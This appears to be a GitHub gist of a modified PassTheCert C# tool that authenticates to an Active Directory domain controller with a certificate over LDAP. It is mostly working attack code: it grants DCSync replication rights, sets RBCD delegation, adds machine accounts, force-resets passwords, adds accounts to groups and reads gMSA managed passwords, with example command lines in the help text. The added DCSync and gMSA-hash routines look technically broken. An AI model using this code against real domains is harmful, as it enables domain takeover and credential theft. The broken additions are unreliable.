Skip to content

Instantly share code, notes, and snippets.

@m8r1us
Created April 18, 2024 12:34
Show Gist options
  • Save m8r1us/c6c18f1fc470d0f5ac47e8f0c6623d2a to your computer and use it in GitHub Desktop.
Save m8r1us/c6c18f1fc470d0f5ac47e8f0c6623d2a to your computer and use it in GitHub Desktop.
modified PassTheCert.cs
// Copyright 2022 Almond (almond.consulting)
//
// Author: Yannick Méheut (ymeheut@almond.consulting)
//
// Accompanying blog post: https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
using System;
using System.IO;
using System.Text;
using System.DirectoryServices.Protocols;
using System.Security.Cryptography.X509Certificates;
using ActiveDs;
using System.DirectoryServices.AccountManagement;
using Org.BouncyCastle.Crypto.Digests;
using Org.BouncyCastle.Crypto;
using System.Security.Cryptography;
namespace PassTheCert
{
internal class MsDsManagedPassword
{
internal short Version { get; set; }
internal byte[] CurrentPasswordBytes { get; set; }
internal byte[] OldPasswordBytes { get; set; }
internal DateTime NextQueryTime { get; set; }
internal DateTime PasswordGoodUntil { get; set; }
internal MsDsManagedPassword(byte[] blob)
{
using (var stream = new MemoryStream(blob))
{
using (var reader = new BinaryReader(stream))
{
Version = reader.ReadInt16();
reader.ReadInt16();
var length = reader.ReadInt32();
if (length != blob.Length)
{
throw new Exception("Missized blob");
}
var curPwdOffset = reader.ReadInt16();
CurrentPasswordBytes = GetBytes(blob, curPwdOffset);
var oldPwdOffset = reader.ReadInt16();
if (oldPwdOffset > 0)
{
OldPasswordBytes = GetBytes(blob, oldPwdOffset);
}
var queryPasswordIntervalOffset = reader.ReadInt16();
var queryPasswordIntervalTicks = BitConverter.ToInt64(blob, queryPasswordIntervalOffset);
NextQueryTime = DateTime.Now + TimeSpan.FromTicks(queryPasswordIntervalTicks);
var unchangedPasswordIntervalOffset = reader.ReadInt16();
var unchangedPasswordIntervalTicks = BitConverter.ToInt64(blob, unchangedPasswordIntervalOffset);
PasswordGoodUntil = DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks);
}
}
}
private byte[] GetBytes(byte[] blob, int index)
{
var length = blob.Length - index;
var bytes = new byte[length];
Array.Copy(blob, index, bytes, 0, length);
return bytes;
}
}
class Program
{
static byte[] StringToByteArray(string byte_array_as_string)
{
string[] string_split = byte_array_as_string.Split(',');
byte[] result = new byte[string_split.Length];
for (int i = 0; i < result.Length; i++)
{
result[i] = Convert.ToByte(string_split[i]);
}
return result;
}
static string RandomString()
{
string charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder output = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 32; i++)
{
output.Append(charset[random.Next(charset.Length)]);
}
return output.ToString();
}
static byte[] SecurityDescriptorToByteArray(IADsSecurityDescriptor sd)
{
ADsSecurityUtility secUtility = new ADsSecurityUtility();
byte[] security_descryptor_as_byte_array = (byte[])secUtility.ConvertSecurityDescriptor(sd, (int)ADS_SD_FORMAT_ENUM.ADS_SD_FORMAT_IID, (int)ADS_SD_FORMAT_ENUM.ADS_SD_FORMAT_RAW);
return security_descryptor_as_byte_array;
}
static string SaveSecurityDescriptor(string target, string attribute, byte[] security_descriptor)
{
string file_name = (target + "_" + attribute + "_" + DateTime.Now.ToString("yyyyMMddTHHmmssZ") + ".txt").Replace(' ', '_');
string sd_as_string = string.Join(",", security_descriptor);
// We write to disk
File.WriteAllText(file_name, sd_as_string);
string sd_read_from_file = File.ReadAllText(file_name);
if (sd_as_string.Equals(sd_read_from_file))
{
return file_name;
}
else
{
return null;
}
}
static AccessControlEntry CreateElevateUserAce(string object_type, string trustee)
{
AccessControlEntry ace = new AccessControlEntry();
ace.AceType = (int)ADS_ACETYPE_ENUM.ADS_ACETYPE_ACCESS_ALLOWED_OBJECT;
ace.AccessMask = (int)ADS_RIGHTS_ENUM.ADS_RIGHT_DS_CONTROL_ACCESS;
ace.Flags = (int)ADS_FLAGTYPE_ENUM.ADS_FLAG_OBJECT_TYPE_PRESENT;
ace.ObjectType = object_type;
ace.Trustee = trustee;
return ace;
}
static AccessControlEntry CreateRbcdAce(string trustee)
{
AccessControlEntry ace = new AccessControlEntry();
ace.AceType = (int)ADS_ACETYPE_ENUM.ADS_ACETYPE_ACCESS_ALLOWED;
ace.AccessMask = 983551;
ace.Trustee = trustee;
return ace;
}
static IADsSecurityDescriptor GetSecurityDescriptor(LdapConnection connection, string target, string filter, string attribute, bool flag_control)
{
// Building search request for our target
SearchRequest search_req = new SearchRequest(target, filter, SearchScope.Subtree, new string[] { attribute });
if (flag_control)
{
search_req.Controls.Add(new SecurityDescriptorFlagControl(SecurityMasks.Dacl));
}
SearchResponse resp = null;
try
{
resp = (SearchResponse)connection.SendRequest(search_req);
}
catch (DirectoryOperationException)
{
Console.WriteLine("Target " + target + " does not exist, stopping attack");
Environment.Exit(2);
}
SearchResultEntry result = resp.Entries[0];
// Getting current attribute, and parsing as a security descriptor
byte[] current_security_descriptor = { };
try
{
current_security_descriptor = (byte[])result.Attributes[attribute][0];
Console.WriteLine(attribute + " attribute exists. Saving old value to disk.");
string file_name = SaveSecurityDescriptor(target, attribute, current_security_descriptor);
if (file_name != null)
{
Console.WriteLine("You can restore it using arguments:");
Console.WriteLine("\t--target \"" + target + "\" --restore " + file_name);
}
else
{
Console.WriteLine("Error! Could not save " + attribute + " value to disk. Stopping attack before we do something we might regret.");
Environment.Exit(3);
}
}
catch (NullReferenceException)
{
// The attribute is empty, we create an empty security descriptor
current_security_descriptor = new byte[] { 1, 0, 4, 128, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 0, 0, 0, 2, 0, 8, 0, 0, 0, 0, 0, 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
Console.WriteLine(attribute + " attribute is empty");
Console.WriteLine("You can clear it using arguments:");
Console.WriteLine("\t--target \"" + target + "\" --restore clear");
}
// We parse the security descriptor
ADsSecurityUtility sec_utility = new ADsSecurityUtility();
IADsSecurityDescriptor sd = (IADsSecurityDescriptor)sec_utility.ConvertSecurityDescriptor(current_security_descriptor,
(int)ADS_SD_FORMAT_ENUM.ADS_SD_FORMAT_RAW,
(int)ADS_SD_FORMAT_ENUM.ADS_SD_FORMAT_IID);
return sd;
}
static void ModifyAttribute(LdapConnection connection, string target, string attribute, byte[] new_attribute_value, bool encoded_attribute_as_string, DirectoryAttributeOperation operation)
{
ModifyRequest modify_req;
DirectoryAttributeModification attribute_modification = new DirectoryAttributeModification { Name = attribute };
attribute_modification.Operation = operation;
if (new_attribute_value != null)
{
if (encoded_attribute_as_string)
{
attribute_modification.Add(System.Text.Encoding.Unicode.GetString(new_attribute_value));
}
else
{
attribute_modification.Add(new_attribute_value);
}
}
modify_req = new ModifyRequest(target, attribute_modification);
try
{
ModifyResponse mod_resp = (ModifyResponse)connection.SendRequest(modify_req);
Console.WriteLine(mod_resp.ResultCode.ToString());
}
catch (DirectoryOperationException e)
{
Console.WriteLine(e.ToString());
Console.WriteLine("Could not modify attribute " + attribute + ", check that your user has sufficient rights");
}
}
static void AclAttack(LdapConnection connection, string target, string filter, string attribute, AccessControlEntry[] new_aces, string restore_file, bool flag_control)
{
byte[] new_security_descriptor = null;
DirectoryAttributeOperation operation;
if (restore_file != null)
{
if (!restore_file.Equals("clear"))
{
Console.WriteLine("Restoring " + attribute + " attribute from file " + restore_file + ".");
new_security_descriptor = StringToByteArray(File.ReadAllText(restore_file));
}
else
{
Console.WriteLine("Clearing " + attribute + " attribute.");
}
}
else
{
IADsSecurityDescriptor sd = GetSecurityDescriptor(connection, target, filter, attribute, flag_control);
IADsAccessControlList acl = (IADsAccessControlList)sd.DiscretionaryAcl;
foreach (AccessControlEntry new_ace in new_aces)
{
acl.AddAce(new_ace);
}
sd.DiscretionaryAcl = acl;
new_security_descriptor = SecurityDescriptorToByteArray(sd);
}
if (new_security_descriptor == null)
{
operation = DirectoryAttributeOperation.Delete;
}
else
{
operation = DirectoryAttributeOperation.Replace;
}
ModifyAttribute(connection, target, attribute, new_security_descriptor, false, operation);
}
static void Whoami(LdapConnection connection)
{
ExtendedRequest whoami_req = new ExtendedRequest("1.3.6.1.4.1.4203.1.11.3");
try
{
ExtendedResponse whoami_resp = (ExtendedResponse)connection.SendRequest(whoami_req);
Console.Write("Querying LDAP As : ");
Console.WriteLine(System.Text.Encoding.UTF8.GetString(whoami_resp.ResponseValue, 0, whoami_resp.ResponseValue.Length));
}
catch (DirectoryOperationException e)
{
Console.WriteLine(e.ToString());
}
}
static void ReadGmsaPassword(LdapConnection connection, string gmsaDN)
{
try
{
string attribute = "msDS-ManagedPassword";
SearchRequest searchRequest = new SearchRequest(gmsaDN, "(objectClass=*)", SearchScope.Base, attribute);
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
if (searchResponse?.Entries.Count > 0)
{
SearchResultEntry entry = searchResponse.Entries[0];
if (entry.Attributes.Contains(attribute) && entry.Attributes[attribute] != null && entry.Attributes[attribute].Count > 0)
{
byte[] passwordBytes = (byte[])entry.Attributes[attribute][0];
// Parse the password using the MsDsManagedPassword class
MsDsManagedPassword gmsaPassword = new MsDsManagedPassword(passwordBytes);
// Generate the salt (domain + account name)
string accountName = gmsaDN.Split(',')[0].Substring(3);
string salt = "AD.DOMAIN.COM" + accountName +"$";
// Convert the salt to byte array using UTF-16 encoding
byte[] saltBytes = Encoding.Unicode.GetBytes(salt);
// Concatenate the salt with the password bytes
byte[] passwordWithSalt = new byte[passwordBytes.Length + saltBytes.Length];
Buffer.BlockCopy(passwordBytes, 0, passwordWithSalt, 0, passwordBytes.Length);
Buffer.BlockCopy(saltBytes, 0, passwordWithSalt, passwordBytes.Length, saltBytes.Length);
// Calculate the RC4-HMAC NT hash
using (var hmac = new HMACMD5(passwordBytes))
{
byte[] ntHash = hmac.ComputeHash(passwordWithSalt);
// Print the NT hash as a hexadecimal string
string ntHashHex = BitConverter.ToString(ntHash).Replace("-", "");
Console.WriteLine("RC4-HMAC NT Hash: " + ntHashHex);
}
// Print the byte array (blob)
Console.WriteLine("Current Password (UTF16): " + Encoding.Unicode.GetString(passwordBytes));
Console.WriteLine("Current Password (UTF8): " + Encoding.UTF8.GetString(passwordBytes));
Console.WriteLine("Current Password (Byte[]): " + BitConverter.ToString(passwordBytes).Replace("-", ""));
Console.WriteLine("Old Password (Hex: " + BitConverter.ToString(gmsaPassword.OldPasswordBytes).Replace("-", ""));
Console.WriteLine("Next Query Time: " + gmsaPassword.NextQueryTime);
Console.WriteLine("Password Good Until: " + gmsaPassword.PasswordGoodUntil);
}
else
{
Console.WriteLine("Password attribute not found.");
}
}
else
{
Console.WriteLine("gMSA not found.");
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
}
static byte[] ComputeNTHash(byte[] input)
{
MD4Digest md4 = new MD4Digest();
md4.BlockUpdate(input, 0, input.Length);
byte[] output = new byte[md4.GetDigestSize()];
md4.DoFinal(output, 0);
return output;
}
/* working
static void ReadGmsaPassword(LdapConnection connection, string gmsaDN)
{
try
{
string attribute = "msDS-ManagedPassword";
SearchRequest searchRequest = new SearchRequest(gmsaDN, "(objectClass=*)", SearchScope.Base, attribute);
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
if (searchResponse?.Entries.Count > 0)
{
SearchResultEntry entry = searchResponse.Entries[0];
byte[] passwordBytes = (byte[])entry.Attributes[attribute][0];
// Parse the password using the MsDsManagedPassword class
MsDsManagedPassword gmsaPassword = new MsDsManagedPassword(passwordBytes);
// Convert the password byte array to a string using UTF-16 encoding
string password = Encoding.Unicode.GetString(passwordBytes);
// Convert the password string back to a byte array (blob)
byte[] passwordBlob = Encoding.Unicode.GetBytes(password);
// Print the byte array (blob)
Console.WriteLine("Password as Byte[] (Blob): " + BitConverter.ToString(passwordBlob).Replace("-", ""));
Console.WriteLine("Current Password (UTF16): " + Encoding.Unicode.GetString(passwordBytes));
Console.WriteLine("Current Password (UTF8): " + Encoding.UTF8.GetString(passwordBytes));
Console.WriteLine("Current Password (Byte[]): " + BitConverter.ToString(passwordBytes).Replace("-", ""));
Console.WriteLine("Current Password (Hex): " + BitConverter.ToString(gmsaPassword.CurrentPasswordBytes).Replace("-", ""));
Console.WriteLine("Old Password (Hex): " + BitConverter.ToString(gmsaPassword.OldPasswordBytes).Replace("-", ""));
Console.WriteLine("Next Query Time: " + gmsaPassword.NextQueryTime);
Console.WriteLine("Password Good Until: " + gmsaPassword.PasswordGoodUntil);
// Print the passwordBytes byte array
Console.WriteLine("PasswordBytes (Byte[]): " + BitConverter.ToString(passwordBytes).Replace("-", ""));
string filePath = "test.txt";
using (StreamWriter writer = new StreamWriter(filePath, false, Encoding.Unicode))
{
writer.Write(Encoding.Unicode.GetString(passwordBlob));
}
Console.WriteLine("Password has been written to test.txt file.");
}
else
{
Console.WriteLine("gMSA not found.");
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
}
*/
static void ElevateUserAttack(LdapConnection connection, string target, string sid, string restore_file)
{
AccessControlEntry[] new_aces = new AccessControlEntry[2];
if (sid != null)
{
new_aces[0] = CreateElevateUserAce("{1131F6AA-9C07-11D1-F79F-00C04FC2DCD2}", sid);
new_aces[1] = CreateElevateUserAce("{1131F6AD-9C07-11D1-F79F-00C04FC2DCD2}", sid);
}
AclAttack(connection, target, "(&(objectCategory=domain))", "nTSecurityDescriptor", new_aces, restore_file, true);
}
static void RbcdAttack(LdapConnection connection, string target, string sid, string restore_file)
{
AccessControlEntry[] new_aces = new AccessControlEntry[1];
if (sid != null)
{
new_aces[0] = CreateRbcdAce(sid);
}
AclAttack(connection, target, "(&(objectCategory=*))", "msDS-AllowedToActOnBehalfOfOtherIdentity", new_aces, restore_file, false);
}
static void AddComputerAttack(LdapConnection connection, string computer_name, string computer_password)
{
if (!computer_name.EndsWith("$"))
{
computer_name += "$";
}
if (computer_password == null)
{
Console.WriteLine("No password given, generating random one.");
computer_password = RandomString();
Console.WriteLine("Generated password: " + computer_password);
}
SearchRequest domain_req = new SearchRequest();
domain_req.Scope = SearchScope.Base;
domain_req.Filter = "(objectClass=*)";
SearchResponse domain_resp = (SearchResponse)connection.SendRequest(domain_req);
SearchResultEntry result = domain_resp.Entries[0];
string domain_root = (string)result.Attributes["rootDomainNamingContext"][0];
string domain = string.Join(".", domain_root.Split(',')).Replace("DC=", "");
string computer_hostname = computer_name.Remove(computer_name.Length - 1);
string computer_dn = "CN=" + computer_hostname + ",CN=Computers," + domain_root;
string[] spns = new string[] { "HOST/" + computer_hostname,
"HOST/" + computer_hostname + "." + domain,
"RestrictedKrbHost/" + computer_hostname,
"RestrictedKrbHost/" + computer_hostname + "." + domain};
string[] object_class = new string[] { "top", "person", "organizationalPerson", "user", "computer" };
DirectoryAttribute[] attributes = new DirectoryAttribute[] { new DirectoryAttribute("dnsHostName", computer_hostname + "." + domain),
new DirectoryAttribute("objectClass", object_class),
new DirectoryAttribute("userAccountControl", "4096"),
new DirectoryAttribute("servicePrincipalName", spns),
new DirectoryAttribute("sAMAccountName", computer_name),
new DirectoryAttribute("unicodePwd", System.Text.Encoding.Unicode.GetBytes('"' + computer_password + '"'))};
AddRequest add_req = new AddRequest(computer_dn, attributes);
try
{
AddResponse add_resp = (AddResponse)connection.SendRequest(add_req);
Console.WriteLine(add_resp.ResultCode.ToString());
}
catch (DirectoryOperationException e)
{
Console.WriteLine(e.ToString());
Console.WriteLine("Could not create computer " + computer_name + ", check that your user has sufficient rights, or that it does not already exists.");
}
}
static void ResetPasswordAttack(LdapConnection connection, string target, string new_password)
{
if (new_password == null)
{
Console.WriteLine("No password given, generating random one.");
new_password = RandomString();
Console.WriteLine("Generated password: " + new_password);
}
byte[] new_password_byte = System.Text.Encoding.Unicode.GetBytes('"' + new_password + '"');
ModifyAttribute(connection, target, "unicodePwd", new_password_byte, false, DirectoryAttributeOperation.Replace);
}
static void AddAccountToGroupAttack(LdapConnection connection, string target, string account)
{
ModifyAttribute(connection, target, "member", System.Text.Encoding.Unicode.GetBytes(account), true, DirectoryAttributeOperation.Add);
}
static string DCSync(LdapConnection connection, string DN)
{
string[] attributesToRetrieve = { "ntlmHash" };
SearchRequest searchRequest = new SearchRequest(DN, "(objectClass=*)", SearchScope.Base, attributesToRetrieve);
SearchResponse response = (SearchResponse)connection.SendRequest(searchRequest);
if (response.Entries.Count > 0)
{
SearchResultEntry searchResultEntry = response.Entries[0];
if (searchResultEntry.Attributes.Contains("ntlmHash"))
{
string nThash = searchResultEntry.Attributes["ntlmHash"][0].ToString();
return nThash;
}
else
{
Console.WriteLine("NThash attribute not found for the user.");
}
}
else
{
Console.WriteLine("User not found.");
}
return null;
}
static void PrintHelp(int exit_code)
{
Console.WriteLine("PassTheCert.exe [--help] --server DOMAIN_CONTROLLER [--start-tls] --cert-path CERT_PATH [--cert-password CERT_PASSWORD] (--elevate|--rbcd|--add-computer|--reset-password|--add-account-to-group) [ATTACK_OPTIONS]");
Console.WriteLine("GENERAL OPTIONS:");
Console.WriteLine("\t--server DOMAIN_CONTROLLER");
Console.WriteLine("\t\tDomain controller to connect to. By default, connection will be done over TCP/636 (LDAPS).");
Console.WriteLine("\t--start-tls");
Console.WriteLine("\t\tIndicates that connection should instead be done over TCP/389 (LDAP) and then use StartTLS.");
Console.WriteLine("\t--cert-path CERT_PATH");
Console.WriteLine("\t\tPath to the certificate to authenticate with.");
Console.WriteLine("\t--cert-password CERT_PASSWORD");
Console.WriteLine("\t\tPassword to the certificate (Optional argument. Default value: <empty>).");
Console.WriteLine("\n");
Console.WriteLine("ATTACK TYPE:");
Console.WriteLine("\t--whoami");
Console.WriteLine("\t\tQuery LDAP whoami to check if strict validation is being checked");
Console.WriteLine("\t--elevate");
Console.WriteLine("\t\tElevate the rights of a user on the domain. Will grant DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights.");
Console.WriteLine("\t--rbcd");
Console.WriteLine("\t\tAdds an SID to the msDS-AllowedToActOnBehalfOfOtherIdentity arttribute of the target.");
Console.WriteLine("\t--add-computer");
Console.WriteLine("\t\tAdd a new computer to the domain (useful for RBCD attacks).");
Console.WriteLine("\t--reset-password");
Console.WriteLine("\t\tReset the password of the targeted account (requires the User-Force-Change-Password right).");
Console.WriteLine("\t--add-account-to-group");
Console.WriteLine("\t\tAdd an account to the given group.");
Console.WriteLine("\n");
Console.WriteLine("ELEVATE ATTACK OPTIONS: --target TARGET (--sid SID|--restore RESTORE_FILE)");
Console.WriteLine("\t--target TARGET");
Console.WriteLine("\t\tTarget of the attack. Should be the distinguished name of the domain.");
Console.WriteLine("\t--sid SID");
Console.WriteLine("\t\tSID to elevate.");
Console.WriteLine("\t--restore RESTORE_FILE");
Console.WriteLine("\t\tFile from which to restore the msDS-nTSecurityDescriptor attribute.");
Console.WriteLine("\t\tYou can use --restore clear to clear the attribute.");
Console.WriteLine("\n");
Console.WriteLine("RBCD ATTACK OPTIONS: --target TARGET (--sid SID|--restore RESTORE_FILE)");
Console.WriteLine("\t--target TARGET");
Console.WriteLine("\t\tTarget of the attack. Should be the distinguished name of the computer.");
Console.WriteLine("\t--sid SID");
Console.WriteLine("\t\tSID to grant RBCD rights to.");
Console.WriteLine("\t--restore RESTORE_FILE");
Console.WriteLine("\t\tFile from which to restore the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.");
Console.WriteLine("\t\tYou can use --restore clear to clear the attribute.");
Console.WriteLine("\n");
Console.WriteLine("ADD COMPUTER ATTACK OPTIONS: --computer-name COMPUTER_NAME [--computer-password COMPUTER_PASSWORD]");
Console.WriteLine("\t--computer-name COMPUTER_NAME");
Console.WriteLine("\t\tThe name of the computer to add.");
Console.WriteLine("\t--computer-password COMPUTER_PASSWORD");
Console.WriteLine("\t\tThe password of the new computer (Optional argument. Default value: <random value>).");
Console.WriteLine("\n\n");
Console.WriteLine("RESET PASSWORD ATTACK OPTIONS: --target TARGET [--new-password NEW_PASSWORD]");
Console.WriteLine("\t--target TARGET");
Console.WriteLine("\t\tTarget of the attack. Should be the distinguished name of the account.");
Console.WriteLine("\t--new-password new_PASSWORD");
Console.WriteLine("\t\tThe new password of the account (Optional argument. Default value: <random value>).");
Console.WriteLine("\n\n");
Console.WriteLine("ADD ACCOUNT TO GROUP ATTACK OPTIONS: --target TARGET --account ACCOUNT");
Console.WriteLine("\t--target TARGET");
Console.WriteLine("\t\tTarget of the attack. Should be the distinguished name of the group.");
Console.WriteLine("\t--account ACCOUNT");
Console.WriteLine("\t\tThe account added to the group. Should be the distinguished name of the account.");
Console.WriteLine("\n\n");
Console.WriteLine("Examples:\n");
Console.WriteLine("PassTheCert.exe --server ad.contoso.com --cert-path C:\\exchange_server.pfx --elevate --target DC=contoso,DC=com --sid S-1-5-21-453406510-812318184-4183662089-1337");
Console.WriteLine("\t└> Grants DCSync replication rights on domain contoso.com to SID S-1-5-21-453406510-812318184-4183662089-1337.");
Console.WriteLine("");
Console.WriteLine("PassTheCert.exe --server ad.contoso.com --cert-path C:\\ad1.pfx --rbcd --target \"CN=AD1,OU=Domain Controllers,DC=contoso,DC=com\" --sid S-1-5-21-453406510-812318184-4183662089-1337");
Console.WriteLine("\t└> Grants RBCD rights on domain controller AD1 to SID S-1-5-21-453406510-812318184-4183662089-1337.");
Console.WriteLine("");
Console.WriteLine("PassTheCert.exe --server ad.contoso.com --cert-path C:\\ad1.pfx --rbcd --target \"CN=AD1,OU=Domain Controllers,DC=contoso,DC=com\" --restore --restore CN=AD1,OU=Domain_Controllers,DC=contoso,DC=com_msDS-AllowedToActOnBehalfOfOtherIdentity_20220415T224638Z.txt");
Console.WriteLine("\t└> Sets AD1's msDS-AllowedToActOnBehalfOfOtherIdentity attribute to the value stord in the given file.");
Console.WriteLine("");
Console.WriteLine("PassTheCert.exe --server ad.contoso.com --cert-path C:\\user.pfx --add-computer --computer-name DESKTOP-1337$");
Console.WriteLine("\t└> Create new computer DESKTOP-1337$ with a randomly generated password.");
Console.WriteLine("");
Environment.Exit(exit_code);
}
static void Main(string[] args)
{
// Connection arguments
string domain_controller = null;
bool start_tls = false;
string cert_path = null;
string cert_password = "";
// Attack type
string attack_type = null;
// Parameters for the different attacks
//// Parameters for elevate and rbcd attacks
string target = null;
string sid = null;
string restore_file = null;
//// Parameters for add computer attack
string computer_name = null;
string computer_password = null;
//// Parameters for reset password attack
string new_password = null;
//// Parameters for add account to group attack
string account = null;
//// GMSA
string gmsaDN = null;
/// DCSYNC
string DN = null;
for (int i = 0; i < args.Length; i++)
{
switch (args[i])
{
// General options
case "--help":
PrintHelp(0);
return;
case "--server":
domain_controller = args[i + 1];
break;
case "--start-tls":
start_tls = true;
break;
case "--cert-path":
cert_path = args[i + 1];
break;
case "--cert-password":
cert_password = args[i + 1];
break;
// Attack type
case "--whoami":
attack_type = "whoami";
break;
case "--elevate":
attack_type = "elevate";
break;
case "--rbcd":
attack_type = "rbcd";
break;
case "--add-computer":
attack_type = "add_computer";
break;
case "--reset-password":
attack_type = "reset_password";
break;
case "--add-account-to-group":
attack_type = "add_account_to_group";
break;
case "--ReadGmsaPassword":
attack_type = "ReadGmsaPassword";
break;
case "--DCSync":
attack_type = "DCSync";
break;
// Parameters for elevate, RBCD, reset password, and add account to group attacks
case "--target":
target = args[i + 1];
break;
case "--sid":
sid = args[i + 1];
break;
case "--restore":
restore_file = args[i + 1];
break;
// Parameters for add computer attack
case "--computer-name":
computer_name = args[i + 1];
break;
case "--computer-password":
computer_password = args[i + 1];
break;
// Additional parameters for reset password attacks
case "--new-password":
new_password = args[i + 1];
break;
// Additional parameters for add account to group attacks
case "--account":
account = args[i + 1];
break;
// GMSA
case "--gmsaDN":
gmsaDN = args[i + 1];
break;
// DCSYNC
case "--DN":
DN = args[i + 1];
break;
}
}
if (domain_controller == null || cert_path == null)
{
Console.WriteLine("Missing mandatory argument (--server or --cert-path)");
PrintHelp(1);
}
int port = start_tls ? 389 : 636;
LdapDirectoryIdentifier server = new LdapDirectoryIdentifier(domain_controller, port);
X509Certificate2 certificate = new X509Certificate2(cert_path, cert_password, X509KeyStorageFlags.Exportable);
LdapConnection connection = new LdapConnection(server);
connection.ClientCertificates.Add(certificate);
connection.SessionOptions.VerifyServerCertificate += (conn, cert) => { return true; };
connection.SessionOptions.QueryClientCertificate += (conn, trust_cas) => { return certificate; };
if (start_tls)
{
connection.SessionOptions.StartTransportLayerSecurity(null);
connection.AuthType = AuthType.External;
connection.Bind();
}
else
{
connection.SessionOptions.SecureSocketLayer = true;
}
switch (attack_type)
{
case "whoami":
Whoami(connection);
break;
case "elevate":
ElevateUserAttack(connection, target, sid, restore_file);
break;
case "rbcd":
RbcdAttack(connection, target, sid, restore_file);
break;
case "add_computer":
AddComputerAttack(connection, computer_name, computer_password);
break;
case "reset_password":
ResetPasswordAttack(connection, target, new_password);
break;
case "add_account_to_group":
AddAccountToGroupAttack(connection, target, account);
break;
case "ReadGmsaPassword":
ReadGmsaPassword(connection, gmsaDN);
break;
case "DCSync":
DCSync(connection, DN);
break;
default:
Console.WriteLine("Attack type not supported, choose one between --elevate, --rbcd, --add-computer, --reset-password, and --add-account-to-group.\n");
PrintHelp(1);
break;
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment